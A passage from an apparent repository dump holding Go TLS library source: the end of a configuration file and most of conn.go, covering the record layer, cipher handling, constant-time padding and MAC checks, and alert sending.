\"CLIENT_RANDOM\"\n)\n\nfunc (c *Config) writeKeyLog(label string, clientRandom, secret []byte) error {\n\tif c.KeyLogWriter == nil {\n\t\treturn nil\n\t}\n\n\tlogLine := []byte(fmt.Sprintf(\"%s %x %x\\n\", label, clientRandom, secret))\n\n\twriterMutex.Lock()\n\t_, err := c.KeyLogWriter.Write(logLine)\n\twriterMutex.Unlock()\n\n\treturn err\n}\n\n// writerMutex protects all KeyLogWriters globally. It is rarely enabled,\n// and is only for debugging, so a global mutex saves space.\nvar writerMutex sync.Mutex\n\n// A Certificate is a chain of one or more certificates, leaf first.\ntype Certificate struct {\n\tCertificate [][]byte\n\t// PrivateKey contains the private key corresponding to the public key in\n\t// Leaf. This must implement crypto.Signer with an RSA, ECDSA or Ed25519 PublicKey.\n\t// For a server up to TLS 1.2, it can also implement crypto.Decrypter with\n\t// an RSA PublicKey.\n\tPrivateKey crypto.PrivateKey\n\t// SupportedSignatureAlgorithms is an optional list restricting what\n\t// signature algorithms the PrivateKey can be used for.\n\tSupportedSignatureAlgorithms []SignatureScheme\n\t// OCSPStaple contains an optional OCSP response which will be served\n\t// to clients that request it.\n\tOCSPStaple []byte\n\t// SignedCertificateTimestamps contains an optional list of Signed\n\t// Certificate Timestamps which will be served to clients that request it.\n\tSignedCertificateTimestamps [][]byte\n\t// Leaf is the parsed form of the leaf certificate, which may be initialized\n\t// using x509.ParseCertificate to reduce per-handshake processing. If nil,\n\t// the leaf certificate will be parsed as needed.\n\tLeaf *x509.Certificate\n}\n\n// leaf returns the parsed leaf certificate, either from c.Leaf or by parsing\n// the corresponding c.Certificate[0].\nfunc (c *Certificate) leaf() (*x509.Certificate, error) {\n\tif c.Leaf != nil {\n\t\treturn c.Leaf, nil\n\t}\n\treturn x509.ParseCertificate(c.Certificate[0])\n}\n\ntype handshakeMessage interface {\n\tmarshal() []byte\n\tunmarshal([]byte) bool\n}\n\n// TODO(jsing): Make these available to both crypto/x509 and crypto/tls.\ntype dsaSignature struct {\n\tR, S *big.Int\n}\n\ntype ecdsaSignature dsaSignature\n\nvar emptyConfig Config\n\nfunc defaultConfig() *Config {\n\treturn &emptyConfig\n}\n\nvar (\n\tonce                   sync.Once\n\tvarDefaultCipherSuites []uint16\n)\n\nfunc defaultCipherSuites() []uint16 {\n\tonce.Do(initDefaultCipherSuites)\n\treturn varDefaultCipherSuites\n}\n\nfunc initDefaultCipherSuites() {\n\tvar topCipherSuites []uint16\n\n\ttopCipherSuites = []uint16{\n\t\tTLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,\n\t\tTLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,\n\t\tTLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n\t\tTLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n\t\tTLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,\n\t\tTLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,\n\t}\n\n\tvarDefaultCipherSuites = make([]uint16, 0, len(cipherSuites))\n\tvarDefaultCipherSuites = append(varDefaultCipherSuites, topCipherSuites...)\n\nNextCipherSuite:\n\tfor _, suite := range cipherSuites {\n\t\tif suite.flags&suiteDefaultOff != 0 {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, existing := range varDefaultCipherSuites {\n\t\t\tif existing == suite.id {\n\t\t\t\tcontinue NextCipherSuite\n\t\t\t}\n\t\t}\n\t\tvarDefaultCipherSuites = append(varDefaultCipherSuites, suite.id)\n\t}\n}\n\nfunc unexpectedMessageError(wanted, got interface{}) error {\n\treturn fmt.Errorf(\"tls: received unexpected handshake message of type %T when waiting for %T\", got, wanted)\n}\n\nfunc isSupportedSignatureAlgorithm(sigAlg SignatureScheme, supportedSignatureAlgorithms []SignatureScheme) bool {\n\tfor _, s := range supportedSignatureAlgorithms {\n\t\tif s == sigAlg {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "tls/conn.go",
    "content": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// TLS low level connection and record layer\n\npackage tls\n\nimport (\n\t\"bytes\"\n\t\"crypto/cipher\"\n\t\"crypto/subtle\"\n\t\"crypto/x509\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n)\n\n// A Conn represents a secured connection.\n// It implements the net.Conn interface.\ntype Conn struct {\n\t// constant\n\tconn net.Conn\n\n\t// handshakeStatus is 1 if the connection is currently transferring\n\t// application data (i.e. is not currently processing a handshake).\n\t// This field is only to be accessed with sync/atomic.\n\thandshakeStatus uint32\n\t// constant after handshake; protected by handshakeMutex\n\thandshakeMutex sync.Mutex\n\thandshakeErr   error   // error resulting from handshake\n\tvers           uint16  // TLS version\n\thaveVers       bool    // version has been negotiated\n\tconfig         *Config // configuration passed to constructor\n\t// handshakes counts the number of handshakes performed on the\n\t// connection so far. If renegotiation is disabled then this is either\n\t// zero or one.\n\thandshakes       int\n\tdidResume        bool // whether this connection was a session resumption\n\tcipherSuite      uint16\n\tocspResponse     []byte   // stapled OCSP response\n\tscts             [][]byte // signed certificate timestamps from server\n\tpeerCertificates []*x509.Certificate\n\t// verifiedChains contains the certificate chains that we built, as\n\t// opposed to the ones presented by the server.\n\tverifiedChains [][]*x509.Certificate\n\t// serverName contains the server name indicated by the client, if any.\n\tserverName string\n\t// secureRenegotiation is true if the server echoed the secure\n\t// renegotiation extension. (This is meaningless as a server because\n\t// renegotiation is not supported in that case.)\n\tsecureRenegotiation bool\n\t// ekm is a closure for exporting keying material.\n\tekm func(label string, context []byte, length int) ([]byte, error)\n\t// resumptionSecret is the resumption_master_secret for handling\n\t// NewSessionTicket messages. nil if config.SessionTicketsDisabled.\n\tresumptionSecret []byte\n\n\t// clientFinishedIsFirst is true if the client sent the first Finished\n\t// message during the most recent handshake. This is recorded because\n\t// the first transmitted Finished message is the tls-unique\n\t// channel-binding value.\n\tclientFinishedIsFirst bool\n\n\t// closeNotifyErr is any error from sending the alertCloseNotify record.\n\tcloseNotifyErr error\n\t// closeNotifySent is true if the Conn attempted to send an\n\t// alertCloseNotify record.\n\tcloseNotifySent bool\n\n\t// clientFinished and serverFinished contain the Finished message sent\n\t// by the client or server in the most recent handshake. This is\n\t// retained to support the renegotiation extension and tls-unique\n\t// channel-binding.\n\tclientFinished [12]byte\n\tserverFinished [12]byte\n\n\tclientProtocol         string\n\tclientProtocolFallback bool\n\n\t// input/output\n\tin, out   halfConn\n\trawInput  bytes.Buffer // raw input, starting with a record header\n\tinput     bytes.Reader // application data waiting to be read, from rawInput.Next\n\thand      bytes.Buffer // handshake data waiting to be read\n\toutBuf    []byte       // scratch buffer used by out.encrypt\n\tbuffering bool         // whether records are buffered in sendBuf\n\tsendBuf   []byte       // a buffer of records waiting to be sent\n\n\t// bytesSent counts the bytes of application data sent.\n\t// packetsSent counts packets.\n\tbytesSent   int64\n\tpacketsSent int64\n\n\t// retryCount counts the number of consecutive non-advancing records\n\t// received by Conn.readRecord. That is, records that neither advance the\n\t// handshake, nor deliver application data. Protected by in.Mutex.\n\tretryCount int\n\n\t// activeCall is an atomic int32; the low bit is whether Close has\n\t// been called. the rest of the bits are the number of goroutines\n\t// in Conn.Write.\n\tactiveCall int32\n\n\ttmp [16]byte\n}\n\n// Access to net.Conn methods.\n// Cannot just embed net.Conn because that would\n// export the struct field too.\n\n// LocalAddr returns the local network address.\nfunc (c *Conn) LocalAddr() net.Addr {\n\treturn c.conn.LocalAddr()\n}\n\n// RemoteAddr returns the remote network address.\nfunc (c *Conn) RemoteAddr() net.Addr {\n\treturn c.conn.RemoteAddr()\n}\n\n// SetDeadline sets the read and write deadlines associated with the connection.\n// A zero value for t means Read and Write will not time out.\n// After a Write has timed out, the TLS state is corrupt and all future writes will return the same error.\nfunc (c *Conn) SetDeadline(t time.Time) error {\n\treturn c.conn.SetDeadline(t)\n}\n\n// SetReadDeadline sets the read deadline on the underlying connection.\n// A zero value for t means Read will not time out.\nfunc (c *Conn) SetReadDeadline(t time.Time) error {\n\treturn c.conn.SetReadDeadline(t)\n}\n\n// SetWriteDeadline sets the write deadline on the underlying connection.\n// A zero value for t means Write will not time out.\n// After a Write has timed out, the TLS state is corrupt and all future writes will return the same error.\nfunc (c *Conn) SetWriteDeadline(t time.Time) error {\n\treturn c.conn.SetWriteDeadline(t)\n}\n\n// A halfConn represents one direction of the record layer\n// connection, either sending or receiving.\ntype halfConn struct {\n\tsync.Mutex\n\n\terr            error       // first permanent error\n\tversion        uint16      // protocol version\n\tcipher         interface{} // cipher algorithm\n\tmac            macFunction\n\tseq            [8]byte  // 64-bit sequence number\n\tadditionalData [13]byte // to avoid allocs; interface method args escape\n\n\tnextCipher interface{} // next encryption state\n\tnextMac    macFunction // next MAC algorithm\n\n\ttrafficSecret []byte // current TLS 1.3 traffic secret\n}\n\nfunc (hc *halfConn) setErrorLocked(err error) error {\n\thc.err = err\n\treturn err\n}\n\n// prepareCipherSpec sets the encryption and MAC states\n// that a subsequent changeCipherSpec will use.\nfunc (hc *halfConn) prepareCipherSpec(version uint16, cipher interface{}, mac macFunction) {\n\thc.version = version\n\thc.nextCipher = cipher\n\thc.nextMac = mac\n}\n\n// changeCipherSpec changes the encryption and MAC states\n// to the ones previously passed to prepareCipherSpec.\nfunc (hc *halfConn) changeCipherSpec() error {\n\tif hc.nextCipher == nil {\n\t\treturn alertInternalError\n\t}\n\thc.cipher = hc.nextCipher\n\thc.mac = hc.nextMac\n\thc.nextCipher = nil\n\thc.nextMac = nil\n\tfor i := range hc.seq {\n\t\thc.seq[i] = 0\n\t}\n\treturn nil\n}\n\n// incSeq increments the sequence number.\nfunc (hc *halfConn) incSeq() {\n\tfor i := 7; i >= 0; i-- {\n\t\thc.seq[i]++\n\t\tif hc.seq[i] != 0 {\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Not allowed to let sequence number wrap.\n\t// Instead, must renegotiate before it does.\n\t// Not likely enough to bother.\n\tpanic(\"TLS: sequence number wraparound\")\n}\n\n// explicitNonceLen returns the number of bytes of explicit nonce or IV included\n// in each record. Explicit nonces are present only in CBC modes after TLS 1.0\n// and in certain AEAD modes in TLS 1.2.\nfunc (hc *halfConn) explicitNonceLen() int {\n\tif hc.cipher == nil {\n\t\treturn 0\n\t}\n\n\tswitch c := hc.cipher.(type) {\n\tcase cipher.Stream:\n\t\treturn 0\n\tcase aead:\n\t\treturn c.explicitNonceLen()\n\tcase cbcMode:\n\t\t// TLS 1.1 introduced a per-record explicit IV to fix the BEAST attack.\n\t\tif hc.version >= VersionTLS11 {\n\t\t\treturn c.BlockSize()\n\t\t}\n\t\treturn 0\n\tdefault:\n\t\tpanic(\"unknown cipher type\")\n\t}\n}\n\n// extractPadding returns, in constant time, the length of the padding to remove\n// from the end of payload. It also returns a byte which is equal to 255 if the\n// padding was valid and 0 otherwise. See RFC 2246, Section 6.2.3.2.\nfunc extractPadding(payload []byte) (toRemove int, good byte) {\n\tif len(payload) < 1 {\n\t\treturn 0, 0\n\t}\n\n\tpaddingLen := payload[len(payload)-1]\n\tt := uint(len(payload)-1) - uint(paddingLen)\n\t// if len(payload) >= (paddingLen - 1) then the MSB of t is zero\n\tgood = byte(int32(^t) >> 31)\n\n\t// The maximum possible padding length plus the actual length field\n\ttoCheck := 256\n\t// The length of the padded data is public, so we can use an if here\n\tif toCheck > len(payload) {\n\t\ttoCheck = len(payload)\n\t}\n\n\tfor i := 0; i < toCheck; i++ {\n\t\tt := uint(paddingLen) - uint(i)\n\t\t// if i <= paddingLen then the MSB of t is zero\n\t\tmask := byte(int32(^t) >> 31)\n\t\tb := payload[len(payload)-1-i]\n\t\tgood &^= mask&paddingLen ^ mask&b\n\t}\n\n\t// We AND together the bits of good and replicate the result across\n\t// all the bits.\n\tgood &= good << 4\n\tgood &= good << 2\n\tgood &= good << 1\n\tgood = uint8(int8(good) >> 7)\n\n\t// Zero the padding length on error. This ensures any unchecked bytes\n\t// are included in the MAC. Otherwise, an attacker that could\n\t// distinguish MAC failures from padding failures could mount an attack\n\t// similar to POODLE in SSL 3.0: given a good ciphertext that uses a\n\t// full block's worth of padding, replace the final block with another\n\t// block. If the MAC check passed but the padding check failed, the\n\t// last byte of that block decrypted to the block size.\n\t//\n\t// See also macAndPaddingGood logic below.\n\tpaddingLen &= good\n\n\ttoRemove = int(paddingLen) + 1\n\treturn\n}\n\nfunc roundUp(a, b int) int {\n\treturn a + (b-a%b)%b\n}\n\n// cbcMode is an interface for block ciphers using cipher block chaining.\ntype cbcMode interface {\n\tcipher.BlockMode\n\tSetIV([]byte)\n}\n\n// decrypt authenticates and decrypts the record if protection is active at\n// this stage. The returned plaintext might overlap with the input.\nfunc (hc *halfConn) decrypt(record []byte) ([]byte, recordType, error) {\n\tvar plaintext []byte\n\ttyp := recordType(record[0])\n\tpayload := record[recordHeaderLen:]\n\n\tpaddingGood := byte(255)\n\tpaddingLen := 0\n\n\texplicitNonceLen := hc.explicitNonceLen()\n\n\tif hc.cipher != nil {\n\t\tswitch c := hc.cipher.(type) {\n\t\tcase cipher.Stream:\n\t\t\tc.XORKeyStream(payload, payload)\n\t\tcase aead:\n\t\t\tif len(payload) < explicitNonceLen {\n\t\t\t\treturn nil, 0, alertBadRecordMAC\n\t\t\t}\n\t\t\tnonce := payload[:explicitNonceLen]\n\t\t\tif len(nonce) == 0 {\n\t\t\t\tnonce = hc.seq[:]\n\t\t\t}\n\t\t\tpayload = payload[explicitNonceLen:]\n\n\t\t\tadditionalData := hc.additionalData[:]\n\t\t\tcopy(additionalData, hc.seq[:])\n\t\t\tcopy(additionalData[8:], record[:3])\n\t\t\tn := len(payload) - c.Overhead()\n\t\t\tadditionalData[11] = byte(n >> 8)\n\t\t\tadditionalData[12] = byte(n)\n\n\t\t\tvar err error\n\t\t\tplaintext, err = c.Open(payload[:0], nonce, payload, additionalData)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, alertBadRecordMAC\n\t\t\t}\n\t\tcase cbcMode:\n\t\t\tblockSize := c.BlockSize()\n\t\t\tminPayload := explicitNonceLen + roundUp(hc.mac.Size()+1, blockSize)\n\t\t\tif len(payload)%blockSize != 0 || len(payload) < minPayload {\n\t\t\t\treturn nil, 0, alertBadRecordMAC\n\t\t\t}\n\n\t\t\tif explicitNonceLen > 0 {\n\t\t\t\tc.SetIV(payload[:explicitNonceLen])\n\t\t\t\tpayload = payload[explicitNonceLen:]\n\t\t\t}\n\t\t\tc.CryptBlocks(payload, payload)\n\n\t\t\t// In a limited attempt to protect against CBC padding oracles like\n\t\t\t// Lucky13, the data past paddingLen (which is secret) is passed to\n\t\t\t// the MAC function as extra data, to be fed into the HMAC after\n\t\t\t// computing the digest. This makes the MAC roughly constant time as\n\t\t\t// long as the digest computation is constant time and does not\n\t\t\t// affect the subsequent write, modulo cache effects.\n\t\t\tpaddingLen, paddingGood = extractPadding(payload)\n\t\tdefault:\n\t\t\tpanic(\"unknown cipher type\")\n\t\t}\n\t} else {\n\t\tplaintext = payload\n\t}\n\n\tif hc.mac != nil {\n\t\tmacSize := hc.mac.Size()\n\t\tif len(payload) < macSize {\n\t\t\treturn nil, 0, alertBadRecordMAC\n\t\t}\n\n\t\tn := len(payload) - macSize - paddingLen\n\t\tn = subtle.ConstantTimeSelect(int(uint32(n)>>31), 0, n) // if n < 0 { n = 0 }\n\t\trecord[3] = byte(n >> 8)\n\t\trecord[4] = byte(n)\n\t\tremoteMAC := payload[n : n+macSize]\n\t\tlocalMAC := hc.mac.MAC(hc.seq[0:], record[:recordHeaderLen], payload[:n], payload[n+macSize:])\n\n\t\t// This is equivalent to checking the MACs and paddingGood\n\t\t// separately, but in constant-time to prevent distinguishing\n\t\t// padding failures from MAC failures. Depending on what value\n\t\t// of paddingLen was returned on bad padding, distinguishing\n\t\t// bad MAC from bad padding can lead to an attack.\n\t\t//\n\t\t// See also the logic at the end of extractPadding.\n\t\tmacAndPaddingGood := subtle.ConstantTimeCompare(localMAC, remoteMAC) & int(paddingGood)\n\t\tif macAndPaddingGood != 1 {\n\t\t\treturn nil, 0, alertBadRecordMAC\n\t\t}\n\n\t\tplaintext = payload[:n]\n\t}\n\n\thc.incSeq()\n\treturn plaintext, typ, nil\n}\n\n// sliceForAppend extends the input slice by n bytes. head is the full extended\n// slice, while tail is the appended part. If the original slice has sufficient\n// capacity no allocation is performed.\nfunc sliceForAppend(in []byte, n int) (head, tail []byte) {\n\tif total := len(in) + n; cap(in) >= total {\n\t\thead = in[:total]\n\t} else {\n\t\thead = make([]byte, total)\n\t\tcopy(head, in)\n\t}\n\ttail = head[len(in):]\n\treturn\n}\n\n// encrypt encrypts payload, adding the appropriate nonce and/or MAC, and\n// appends it to record, which contains the record header.\nfunc (hc *halfConn) encrypt(record, payload []byte, rand io.Reader) ([]byte, error) {\n\tif hc.cipher == nil {\n\t\treturn append(record, payload...), nil\n\t}\n\n\tvar explicitNonce []byte\n\tif explicitNonceLen := hc.explicitNonceLen(); explicitNonceLen > 0 {\n\t\trecord, explicitNonce = sliceForAppend(record, explicitNonceLen)\n\t\tif _, isCBC := hc.cipher.(cbcMode); !isCBC && explicitNonceLen < 16 {\n\t\t\t// The AES-GCM construction in TLS has an explicit nonce so that the\n\t\t\t// nonce can be random. However, the nonce is only 8 bytes which is\n\t\t\t// too small for a secure, random nonce. Therefore we use the\n\t\t\t// sequence number as the nonce. The 3DES-CBC construction also has\n\t\t\t// an 8 bytes nonce but its nonces must be unpredictable (see RFC\n\t\t\t// 5246, Appendix F.3), forcing us to use randomness. That's not\n\t\t\t// 3DES' biggest problem anyway because the birthday bound on block\n\t\t\t// collision is reached first due to its simlarly small block size\n\t\t\t// (see the Sweet32 attack).\n\t\t\tcopy(explicitNonce, hc.seq[:])\n\t\t} else {\n\t\t\tif _, err := io.ReadFull(rand, explicitNonce); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\tvar mac []byte\n\tif hc.mac != nil {\n\t\tmac = hc.mac.MAC(hc.seq[:], record[:recordHeaderLen], payload, nil)\n\t}\n\n\tvar dst []byte\n\tswitch c := hc.cipher.(type) {\n\tcase cipher.Stream:\n\t\trecord, dst = sliceForAppend(record, len(payload)+len(mac))\n\t\tc.XORKeyStream(dst[:len(payload)], payload)\n\t\tc.XORKeyStream(dst[len(payload):], mac)\n\tcase aead:\n\t\tnonce := explicitNonce\n\t\tif len(nonce) == 0 {\n\t\t\tnonce = hc.seq[:]\n\t\t}\n\n\t\tcopy(hc.additionalData[:], hc.seq[:])\n\t\tcopy(hc.additionalData[8:], record)\n\t\trecord = c.Seal(record, nonce, payload, hc.additionalData[:])\n\tcase cbcMode:\n\t\tblockSize := c.BlockSize()\n\t\tplaintextLen := len(payload) + len(mac)\n\t\tpaddingLen := blockSize - plaintextLen%blockSize\n\t\trecord, dst = sliceForAppend(record, plaintextLen+paddingLen)\n\t\tcopy(dst, payload)\n\t\tcopy(dst[len(payload):], mac)\n\t\tfor i := plaintextLen; i < len(dst); i++ {\n\t\t\tdst[i] = byte(paddingLen - 1)\n\t\t}\n\t\tif len(explicitNonce) > 0 {\n\t\t\tc.SetIV(explicitNonce)\n\t\t}\n\t\tc.CryptBlocks(dst, dst)\n\tdefault:\n\t\tpanic(\"unknown cipher type\")\n\t}\n\n\t// Update length to include nonce, MAC and any block padding needed.\n\tn := len(record) - recordHeaderLen\n\trecord[3] = byte(n >> 8)\n\trecord[4] = byte(n)\n\thc.incSeq()\n\n\treturn record, nil\n}\n\n// RecordHeaderError is returned when a TLS record header is invalid.\ntype RecordHeaderError struct {\n\t// Msg contains a human readable string that describes the error.\n\tMsg string\n\t// RecordHeader contains the five bytes of TLS record header that\n\t// triggered the error.\n\tRecordHeader [5]byte\n\t// Conn provides the underlying net.Conn in the case that a client\n\t// sent an initial handshake that didn't look like TLS.\n\t// It is nil if there's already been a handshake or a TLS alert has\n\t// been written to the connection.\n\tConn net.Conn\n}\n\nfunc (e RecordHeaderError) Error() string { return \"tls: \" + e.Msg }\n\nfunc (c *Conn) newRecordHeaderError(conn net.Conn, msg string) (err RecordHeaderError) {\n\terr.Msg = msg\n\terr.Conn = conn\n\tcopy(err.RecordHeader[:], c.rawInput.Bytes())\n\treturn err\n}\n\nfunc (c *Conn) readRecord() error {\n\treturn c.readRecordOrCCS(false)\n}\n\nfunc (c *Conn) readChangeCipherSpec() error {\n\treturn c.readRecordOrCCS(true)\n}\n\n// readRecordOrCCS reads one or more TLS records from the connection and\n// updates the record layer state. Some invariants:\n//   * c.in must be locked\n//   * c.input must be empty\n// During the handshake one and only one of the following will happen:\n//   - c.hand grows\n//   - c.in.changeCipherSpec is called\n//   - an error is returned\n// After the handshake one and only one of the following will happen:\n//   - c.hand grows\n//   - c.input is set\n//   - an error is returned\nfunc (c *Conn) readRecordOrCCS(expectChangeCipherSpec bool) error {\n\tif c.in.err != nil {\n\t\treturn c.in.err\n\t}\n\thandshakeComplete := c.handshakeComplete()\n\n\t// This function modifies c.rawInput, which owns the c.input memory.\n\tif c.input.Len() != 0 {\n\t\treturn c.in.setErrorLocked(errors.New(\"tls: internal error: attempted to read record with pending application data\"))\n\t}\n\tc.input.Reset(nil)\n\n\t// Read header, payload.\n\tif err := c.readFromUntil(c.conn, recordHeaderLen); err != nil {\n\t\t// RFC 8446, Section 6.1 suggests that EOF without an alertCloseNotify\n\t\t// is an error, but popular web sites seem to do this, so we accept it\n\t\t// if and only if at the record boundary.\n\t\tif err == io.ErrUnexpectedEOF && c.rawInput.Len() == 0 {\n\t\t\terr = io.EOF\n\t\t}\n\t\tif e, ok := err.(net.Error); !ok || !e.Temporary() {\n\t\t\tc.in.setErrorLocked(err)\n\t\t}\n\t\treturn err\n\t}\n\thdr := c.rawInput.Bytes()[:recordHeaderLen]\n\ttyp := recordType(hdr[0])\n\n\t// No valid TLS record has a type of 0x80, however SSLv2 handshakes\n\t// start with a uint16 length where the MSB is set and the first record\n\t// is always < 256 bytes long. Therefore typ == 0x80 strongly suggests\n\t// an SSLv2 client.\n\tif !handshakeComplete && typ == 0x80 {\n\t\tc.sendAlert(alertProtocolVersion)\n\t\treturn c.in.setErrorLocked(c.newRecordHeaderError(nil, \"unsupported SSLv2 handshake received\"))\n\t}\n\n\tvers := uint16(hdr[1])<<8 | uint16(hdr[2])\n\tn := int(hdr[3])<<8 | int(hdr[4])\n\tif c.haveVers && vers != c.vers {\n\t\tc.sendAlert(alertProtocolVersion)\n\t\tmsg := fmt.Sprintf(\"received record with version %x when expecting version %x\", vers, c.vers)\n\t\treturn c.in.setErrorLocked(c.newRecordHeaderError(nil, msg))\n\t}\n\tif !c.haveVers {\n\t\t// First message, be extra suspicious: this might not be a TLS\n\t\t// client. Bail out before reading a full 'body', if possible.\n\t\t// The current max version is 3.3 so if the version is >= 16.0,\n\t\t// it's probably not real.\n\t\tif (typ != recordTypeAlert && typ != recordTypeHandshake) || vers >= 0x1000 {\n\t\t\treturn c.in.setErrorLocked(c.newRecordHeaderError(c.conn, \"first record does not look like a TLS handshake\"))\n\t\t}\n\t}\n\tif err := c.readFromUntil(c.conn, recordHeaderLen+n); err != nil {\n\t\tif e, ok := err.(net.Error); !ok || !e.Temporary() {\n\t\t\tc.in.setErrorLocked(err)\n\t\t}\n\t\treturn err\n\t}\n\n\t// Process message.\n\trecord := c.rawInput.Next(recordHeaderLen + n)\n\tdata, typ, err := c.in.decrypt(record)\n\tif err != nil {\n\t\treturn c.in.setErrorLocked(c.sendAlert(err.(alert)))\n\t}\n\tif len(data) > maxPlaintext {\n\t\treturn c.in.setErrorLocked(c.sendAlert(alertRecordOverflow))\n\t}\n\n\t// Application Data messages are always protected.\n\tif c.in.cipher == nil && typ == recordTypeApplicationData {\n\t\treturn c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t}\n\n\tif typ != recordTypeAlert && typ != recordTypeChangeCipherSpec && len(data) > 0 {\n\t\t// This is a state-advancing message: reset the retry count.\n\t\tc.retryCount = 0\n\t}\n\n\tswitch typ {\n\tdefault:\n\t\treturn c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\n\tcase recordTypeAlert:\n\t\tif len(data) != 2 {\n\t\t\treturn c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t\t}\n\t\tif alert(data[1]) == alertCloseNotify {\n\t\t\treturn c.in.setErrorLocked(io.EOF)\n\t\t}\n\t\tswitch data[0] {\n\t\tcase alertLevelWarning:\n\t\t\t// Drop the record on the floor and retry.\n\t\t\treturn c.retryReadRecord(expectChangeCipherSpec)\n\t\tcase alertLevelError:\n\t\t\treturn c.in.setErrorLocked(&net.OpError{Op: \"remote error\", Err: alert(data[1])})\n\t\tdefault:\n\t\t\treturn c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t\t}\n\n\tcase recordTypeChangeCipherSpec:\n\t\tif len(data) != 1 || data[0] != 1 {\n\t\t\treturn c.in.setErrorLocked(c.sendAlert(alertDecodeError))\n\t\t}\n\t\t// Handshake messages are not allowed to fragment across the CCS.\n\t\tif c.hand.Len() > 0 {\n\t\t\treturn c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t\t}\n\t\tif !expectChangeCipherSpec {\n\t\t\treturn c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t\t}\n\t\tif err := c.in.changeCipherSpec(); err != nil {\n\t\t\treturn c.in.setErrorLocked(c.sendAlert(err.(alert)))\n\t\t}\n\n\tcase recordTypeApplicationData:\n\t\tif !handshakeComplete || expectChangeCipherSpec {\n\t\t\treturn c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t\t}\n\t\t// Some OpenSSL servers send empty records in order to randomize the\n\t\t// CBC IV. Ignore a limited number of empty records.\n\t\tif len(data) == 0 {\n\t\t\treturn c.retryReadRecord(expectChangeCipherSpec)\n\t\t}\n\t\t// Note that data is owned by c.rawInput, following the Next call above,\n\t\t// to avoid copying the plaintext. This is safe because c.rawInput is\n\t\t// not read from or written to until c.input is drained.\n\t\tc.input.Reset(data)\n\n\tcase recordTypeHandshake:\n\t\tif len(data) == 0 || expectChangeCipherSpec {\n\t\t\treturn c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t\t}\n\t\tc.hand.Write(data)\n\t}\n\n\treturn nil\n}\n\n// retryReadRecord recurses into readRecordOrCCS to drop a non-advancing record, like\n// a warning alert, empty application_data, or a change_cipher_spec in TLS 1.3.\nfunc (c *Conn) retryReadRecord(expectChangeCipherSpec bool) error {\n\tc.retryCount++\n\tif c.retryCount > maxUselessRecords {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn c.in.setErrorLocked(errors.New(\"tls: too many ignored records\"))\n\t}\n\treturn c.readRecordOrCCS(expectChangeCipherSpec)\n}\n\n// atLeastReader reads from R, stopping with EOF once at least N bytes have been\n// read. It is different from an io.LimitedReader in that it doesn't cut short\n// the last Read call, and in that it considers an early EOF an error.\ntype atLeastReader struct {\n\tR io.Reader\n\tN int64\n}\n\nfunc (r *atLeastReader) Read(p []byte) (int, error) {\n\tif r.N <= 0 {\n\t\treturn 0, io.EOF\n\t}\n\tn, err := r.R.Read(p)\n\tr.N -= int64(n) // won't underflow unless len(p) >= n > 9223372036854775809\n\tif r.N > 0 && err == io.EOF {\n\t\treturn n, io.ErrUnexpectedEOF\n\t}\n\tif r.N <= 0 && err == nil {\n\t\treturn n, io.EOF\n\t}\n\treturn n, err\n}\n\n// readFromUntil reads from r into c.rawInput until c.rawInput contains\n// at least n bytes or else returns an error.\nfunc (c *Conn) readFromUntil(r io.Reader, n int) error {\n\tif c.rawInput.Len() >= n {\n\t\treturn nil\n\t}\n\tneeds := n - c.rawInput.Len()\n\t// There might be extra input waiting on the wire. Make a best effort\n\t// attempt to fetch it so that it can be used in (*Conn).Read to\n\t// \"predict\" closeNotify alerts.\n\tc.rawInput.Grow(needs + bytes.MinRead)\n\t_, err := c.rawInput.ReadFrom(&atLeastReader{r, int64(needs)})\n\treturn err\n}\n\n// sendAlert sends a TLS alert message.\nfunc (c *Conn) sendAlertLocked(err alert) error {\n\tswitch err {\n\tcase alertNoRenegotiation, alertCloseNotify:\n\t\tc.tmp[0] = alertLevelWarning\n\tdefault:\n\t\tc.tmp[0] = alertLevelError\n\t}\n\tc.tmp[1] = byte(err)\n\n\t_, writeErr := c.writeRecordLocked(recordTypeAlert, c.tmp[0:2])\n\tif err == alertCloseNotify {\n\t\t// closeNotify is a special case in that it isn't an error.\n\t\treturn writeErr\n\t}\n\n\treturn c.out.setErrorLocked(&net.OpError{Op: \"local error\", Err: err})\n}\n\n// sendAlert sends a TLS alert message.\nfunc (c *Conn) sendAlert(err alert) error {\n\tc.out.Lock()\n\tdefer c.out.Unlock()\n\treturn c.sendAlertLocked(err)\n}\n\nconst (\n\t// tcpMSSEstimate is a conservative estimate of the TCP maximum segment\n\t// size (MSS). A constant is used, rather than querying the kernel for\n\t// the actual MSS, to avoid complexity. The value here is the IPv6\n\t// minimum MTU (1280 bytes) minus the overhead of an IPv6 header (40\n\t// bytes) and a TCP header with timestamps (32 bytes).\n\ttcpMSSEstimate = 1208\n\n\t// recordSizeBoostThreshold is the number of bytes of application data\n\t// sent after which the TLS record size will be increased to the\n\t// maximum.\n\trecordSizeBoostThreshold = 128 * 1024\n)\n\n// maxPayloadSizeForWrite returns the maximum TLS payload size to use for the\n// next application data record. There is the following trade-off:\n//\n//   - For latency-sensitive applications, such as web browsing, each TLS\n//     record should fit in one TCP segment.\n//   - For throughput-sensitive applications, such as large file 